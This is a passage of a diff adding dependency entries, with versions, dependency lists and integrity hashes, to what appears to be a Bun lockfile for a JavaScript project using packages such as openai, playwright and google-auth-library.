"sha512-fpZuDogrAgnyt9oDDz+5DBz0zgPdPZz6D4IR7iESxRXElrlGTRkHJ9eEt+SACRJwT0FNFrt71DFQIUFBJfX/uQ=="], + + "fast-xml-parser": ["fast-xml-parser@5.4.1", "", { "dependencies": { "fast-xml-builder": "^1.0.0", "strnum": "^2.1.2" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-BQ30U1mKkvXQXXkAGcuyUA/GA26oEB7NzOtsxCDtyu62sjGw5QraKFhx2Em3WQNjPw9PG6MQ9yuIIgkSDfGu5A=="], + + "fd-slicer": ["fd-slicer@1.1.0", "", { "dependencies": { "pend": "~1.2.0" } }, "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g=="], + + "fetch-blob": ["fetch-blob@3.2.0", "", { "dependencies": { "node-domexception": "^1.0.0", "web-streams-polyfill": "^3.0.3" } }, "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ=="], + + "file-type": ["file-type@21.3.0", "", { "dependencies": { "@tokenizer/inflate": "^0.4.1", "strtok3": "^10.3.4", "token-types": "^6.1.1", "uint8array-extras": "^1.4.0" } }, "sha512-8kPJMIGz1Yt/aPEwOsrR97ZyZaD1Iqm8PClb1nYFclUCkBi0Ma5IsYNQzvSFS9ib51lWyIw5mIT9rWzI/xjpzA=="], + + "foreground-child": ["foreground-child@3.3.1", "", { "dependencies": { "cross-spawn": "^7.0.6", "signal-exit": "^4.0.1" } }, "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw=="], + + "formdata-polyfill": ["formdata-polyfill@4.0.10", "", { "dependencies": { "fetch-blob": "^3.1.2" } }, "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g=="], + + "fsevents": ["fsevents@2.3.2", "", { "os": "darwin" }, "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA=="], + + "gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="], + + "gcp-metadata": ["gcp-metadata@8.1.2", "", { "dependencies": { "gaxios": "^7.0.0", "google-logging-utils": "^1.0.0", "json-bigint": "^1.0.0" } }, "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg=="], + + "get-caller-file": ["get-caller-file@2.0.5", "", {}, "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="], + + "get-east-asian-width": ["get-east-asian-width@1.5.0", "", {}, "sha512-CQ+bEO+Tva/qlmw24dCejulK5pMzVnUOFOijVogd3KQs07HnRIgp8TGipvCCRT06xeYEbpbgwaCxglFyiuIcmA=="], + + "get-stream": ["get-stream@5.2.0", "", { "dependencies": { "pump": "^3.0.0" } }, "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA=="], + + "get-uri": ["get-uri@6.0.5", "", { "dependencies": { "basic-ftp": "^5.0.2", "data-uri-to-buffer": "^6.0.2", "debug": "^4.3.4" } }, "sha512-b1O07XYq8eRuVzBNgJLstU6FYc1tS6wnMtF1I1D9lE8LxZSOGZ7LhxN54yPP6mGw5f2CkXY2BQUL9Fx41qvcIg=="], + + "glob": ["glob@13.0.6", "", { "dependencies": { "minimatch": "^10.2.2", "minipass": "^7.1.3", "path-scurry": "^2.0.2" } }, "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw=="], + + "google-auth-library": ["google-auth-library@10.6.1", "", { "dependencies": { "base64-js": "^1.3.0", "ecdsa-sig-formatter": "^1.0.11", "gaxios": "7.1.3", "gcp-metadata": "8.1.2", "google-logging-utils": "1.1.3", "jws": "^4.0.0" } }, "sha512-5awwuLrzNol+pFDmKJd0dKtZ0fPLAtoA5p7YO4ODsDu6ONJUVqbYwvv8y2ZBO5MBNp9TJXigB19710kYpBPdtA=="], + + "google-logging-utils": ["google-logging-utils@1.1.3", "", {}, "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA=="], + + "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="], + + "has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="], + + "highlight.js": ["highlight.js@10.7.3", "", {}, "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A=="], + + "hosted-git-info": ["hosted-git-info@9.0.2", "", { "dependencies": { "lru-cache": "^11.1.0" } }, "sha512-M422h7o/BR3rmCQ8UHi7cyyMqKltdP9Uo+J2fXK+RSAY+wTcKOIRyhTuKv4qn+DJf3g+PL890AzId5KZpX+CBg=="], + + "http-proxy-agent": ["http-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.1.0", "debug": "^4.3.4" } }, "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig=="], + + "https-proxy-agent": ["https-proxy-agent@7.0.6", "", { "dependencies": { "agent-base": "^7.1.2", "debug": "4" } }, "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw=="], + + "ieee754": ["ieee754@1.2.1", "", {}, "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA=="], + + "ignore": ["ignore@7.0.5", "", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="], + + "ip-address": ["ip-address@10.1.0", "", {}, "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q=="], + + "is-fullwidth-code-point": ["is-fullwidth-code-point@3.0.0", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="], + + "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], + + "jackspeak": ["jackspeak@3.4.3", "", { "dependencies": { "@isaacs/cliui": "^8.0.2" }, "optionalDependencies": { "@pkgjs/parseargs": "^0.11.0" } }, "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw=="], + + "json-bigint": ["json-bigint@1.0.0", "", { "dependencies": { "bignumber.js": "^9.0.0" } }, "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ=="], + + "json-schema-to-ts": ["json-schema-to-ts@3.1.1", "", { "dependencies": { "@babel/runtime": "^7.18.3", "ts-algebra": "^2.0.0" } }, "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g=="], + + "json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], + + "jwa": ["jwa@2.0.1", "", { "dependencies": { "buffer-equal-constant-time": "^1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg=="], + + "jws": ["jws@4.0.1", "", { "dependencies": { "jwa": "^2.0.1", "safe-buffer": "^5.0.1" } }, "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA=="], + + "koffi": ["koffi@2.15.1", "", {}, "sha512-mnc0C0crx/xMSljb5s9QbnLrlFHprioFO1hkXyuSuO/QtbpLDa0l/uM21944UfQunMKmp3/r789DTDxVyyH6aA=="], + + "long": ["long@5.3.2", "", {}, "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA=="], + + "lru-cache": ["lru-cache@7.18.3", "", {}, "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA=="], + + "marked": ["marked@15.0.12", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-8dD6FusOQSrpv9Z1rdNMdlSgQOIP880DHqnohobOmYLElGEqAL/JvxvuxZO16r4HtjTlfPRDC1hbvxC9dPN2nA=="], + + "mime-db": ["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], + + "mime-types": ["mime-types@3.0.2", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A=="], + + "minimatch": ["minimatch@10.2.4", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg=="], + + "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], + + "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="], + + "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], + + "mz": ["mz@2.7.0", "", { "dependencies": { "any-promise": "^1.0.0", "object-assign": "^4.0.1", "thenify-all": "^1.0.0" } }, "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q=="], + + "netmask": ["netmask@2.0.2", "", {}, "sha512-dBpDMdxv9Irdq66304OLfEmQ9tbNRFnFTuZiLo+bD+r332bBmMJ8GBLXklIXXgxd3+v9+KUnZaUR5PJMa75Gsg=="], + + "node-domexception": ["node-domexception@1.0.0", "", {}, "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ=="], + + "node-fetch": ["node-fetch@3.3.2", "", { "dependencies": { "data-uri-to-buffer": "^4.0.0", "fetch-blob": "^3.1.4", "formdata-polyfill": "^4.0.10" } }, "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA=="], + + "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], + + "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="], + + "openai": ["openai@6.10.0", "", { "peerDependencies": { "ws": "^8.18.0", "zod": "^3.25 || ^4.0" }, "optionalPeers": ["ws", "zod"], "bin": { "openai": "bin/cli" } }, "sha512-ITxOGo7rO3XRMiKA5l7tQ43iNNu+iXGFAcf2t+aWVzzqRaS0i7m1K2BhxNdaveB+5eENhO0VY1FkiZzhBk4v3A=="], + + "p-retry": ["p-retry@4.6.2", "", { "dependencies": { "@types/retry": "0.12.0", "retry": "^0.13.1" } }, "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ=="], + + "pac-proxy-agent": ["pac-proxy-agent@7.2.0", "", { "dependencies": { "@tootallnate/quickjs-emscripten": "^0.23.0", "agent-base": "^7.1.2", "debug": "^4.3.4", "get-uri": "^6.0.1", "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.6", "pac-resolver": "^7.0.1", "socks-proxy-agent": "^8.0.5" } }, "sha512-TEB8ESquiLMc0lV8vcd5Ql/JAKAoyzHFXaStwjkzpOpC5Yv+pIzLfHvjTSdf3vpa2bMiUQrg9i6276yn8666aA=="], + + "pac-resolver": ["pac-resolver@7.0.1", "", { "dependencies": { "degenerator": "^5.0.0", "netmask": "^2.0.2" } }, "sha512-5NPgf87AT2STgwa2ntRMr45jTKrYBGkVU36yT0ig/n/GMAa3oPqhZfIQ2kMEimReg0+t9kZViDVZ83qfVUlckg=="], + + "package-json-from-dist": ["package-json-from-dist@1.0.1", "", {}, "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw=="], + + "parse5": ["parse5@5.1.1", "", {}, "sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug=="], + + "parse5-htmlparser2-tree-adapter": ["parse5-htmlparser2-tree-adapter@6.0.1", "", { "dependencies": { "parse5": "^6.0.1" } }, "sha512-qPuWvbLgvDGilKc5BoicRovlT4MtYT6JfJyBOMDsKoiT+GiuP5qyrPCnR9HcPECIJJmZh5jRndyNThnhhb/vlA=="], + + "partial-json": ["partial-json@0.1.7", "", {}, "sha512-Njv/59hHaokb/hRUjce3Hdv12wd60MtM9Z5Olmn+nehe0QDAsRtRbJPvJ0Z91TusF0SuZRIvnM+S4l6EIP8leA=="], + + "path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="], + + "path-scurry": ["path-scurry@2.0.2", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg=="], + + "pend": ["pend@1.2.0", "", {}, "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg=="], + + "playwright": ["playwright@1.59.0-alpha-1771104257000", "", { "dependencies": { "playwright-core": "1.59.0-alpha-1771104257000" }, "optionalDependencies": { "fsevents": "2.3.2" }, "bin": { "playwright": "cli.js" } }, "sha512-6SCMMMJaDRsSqiKVLmb2nhtLES7iTYawTWWrQK6UdIGNzXi8lka4sLKRec3L4DnTWwddAvCuRn8035dhNiHzbg=="], + + "playwright-core": ["playwright-core@1.59.0-alpha-1771104257000", "", { "bin": { "playwright-core": "cli.js" } }, "sha512-YiXup3pnpQUCBMSIW5zx8CErwRx4K6O5Kojkw2BzJui8MazoMUDU6E3xGsb1kzFviEAE09LFQ+y1a0RhIJQ5SA=="], + + "proper-lockfile": ["proper-lockfile@4.1.2", "", { "dependencies": { "graceful-fs": "^4.2.4", "retry": "^0.12.0", "signal-exit": "^3.0.2" } }, "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA=="], + + "protobufjs": ["protobufjs@7.5.4", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg=="], + + "proxy-agent": ["proxy-agent@6.5.0", "", { "dependencies": { "agent-base": "^7.1.2", "debug": "^4.3.4", "http-proxy-agent": "^7.0.1", "https-proxy-agent": "^7.0.6", "lru-cache": "^7.14.1", "pac-proxy-agent": "^7.1.0", "proxy-from-env": "^1.1.0", "socks-proxy-agent": "^8.0.5" } }, "sha512-TmatMXdr2KlRiA2CyDu8GqR8EjahTG3aY3nXjdzFyoZbmB8hrBsTyMezhULIXKnC0jpfjlmiZ3+EaCzoInSu/A=="], + + "proxy-from-env": ["proxy-from-env@1.1.0", "", {}, "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="], + + "pump": ["pump@3.0.4", "", { "dependencies": { "end-of-stream": "^1.1.0", "once": "^1.3.1" } }, "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA=="], + + "require-directory": ["require-directory@2.1.1", "", {}, "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q=="], + + "require-from-string": ["require-from-string@2.0.2", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="], + + "retry": ["retry@0.12.0", "", {}, "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow=="], + + "rimraf": ["rimraf@5.0.10", "", { "dependencies": { "glob": "^10.3.7" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ=="], + + "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], + + "shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="], + + "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="], + + "signal-exit": ["signal-exit@3.0.7", "", {}, "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="], + + "smart-buffer": ["smart-buffer@4.2.0", "", {}, "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg=="], + + "socks": ["socks@2.8.7", "", { "dependencies": { "ip-address": "^10.0.1", "smart-buffer": "^4.2.0" } }, "sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A=="], + + "socks-proxy-agent": ["socks-proxy-agent@8.0.5", "", { "dependencies": { "agent-base": "^7.1.2", "debug": "^4.3.4", "socks": "^2.8.3" } }, "sha512-HehCEsotFqbPW9sJ8WVYB6UbmIMv7kUUORIF2Nncq4VQvBfNBLibW9YZR5dlYCSUhwcD628pRllm7n+E+YTzJw=="], + + "source-map": ["source-map@0.6.1", "", {}, "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="], + + "std-env": ["std-env@3.10.0", "", {}, "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg=="], + + "string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + + "string-width-cjs": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + + "strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], + + "strip-ansi-cjs": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "strnum": ["strnum@2.2.0", "", {}, "sha512-Y7Bj8XyJxnPAORMZj/xltsfo55uOiyHcU2tnAVzHUnSJR/KsEX+9RoDeXEnsXtl/CX4fAcrt64gZ13aGaWPeBg=="], + + "strtok3": ["strtok3@10.3.4", "", { "dependencies": { "@tokenizer/token": "^0.3.0" } }, "sha512-KIy5nylvC5le1OdaaoCJ07L+8iQzJHGH6pWDuzS+d07Cu7n1MZ2x26P8ZKIWfbK02+XIL8Mp4RkWeqdUCrDMfg=="], + + "supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + + "thenify": ["thenify@3.3.1", "", { "dependencies": { "any-promise": "^1.0.0" } }, "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw=="], + + "thenify-all": ["thenify-all@1.6.0", "", { "dependencies": { "thenify": ">= 3.1.0 < 4" } }, "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA=="], + + "token-types": ["token-types@6.1.2", "", { "dependencies": { "@borewit/text-codec": "^0.2.1", "@tokenizer/token": "^0.3.0", "ieee754": "^1.2.1" } }, "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww=="], + + "ts-algebra": ["ts-algebra@2.0.0", "", {}, "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw=="], + + "tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "uint8array-extras": ["uint8array-extras@1.5.0", "", {}, "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A=="], + + "undici": ["undici@7.22.0", "", {}, "sha512-RqslV2Us5BrllB+JeiZnK4peryVTndy9Dnqq62S3yYRRTj0tFQCwEniUy2167skdGOy3vqRzEvl1Dm4sV2ReDg=="], + + "undici-types": ["undici-types@7.18.2", "", {}, "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w=="], + + "web-streams-polyfill": ["web-streams-polyfill@3.3.3", "", {}, "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw=="], + + "which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="], + + "wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="], + + "wrap-ansi-cjs": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="], + + "wrappy": ["wrappy@1.0.2", "", {}, "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="], + + "ws": ["ws@8.19.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg=="], + + "y18n": ["y18n@5.0.8", "", {}, "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA=="], + + "yaml": ["yaml@2.8.2", "", { "bin": { "yaml": "bin.mjs" } }, "sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A=="], + + "yargs": 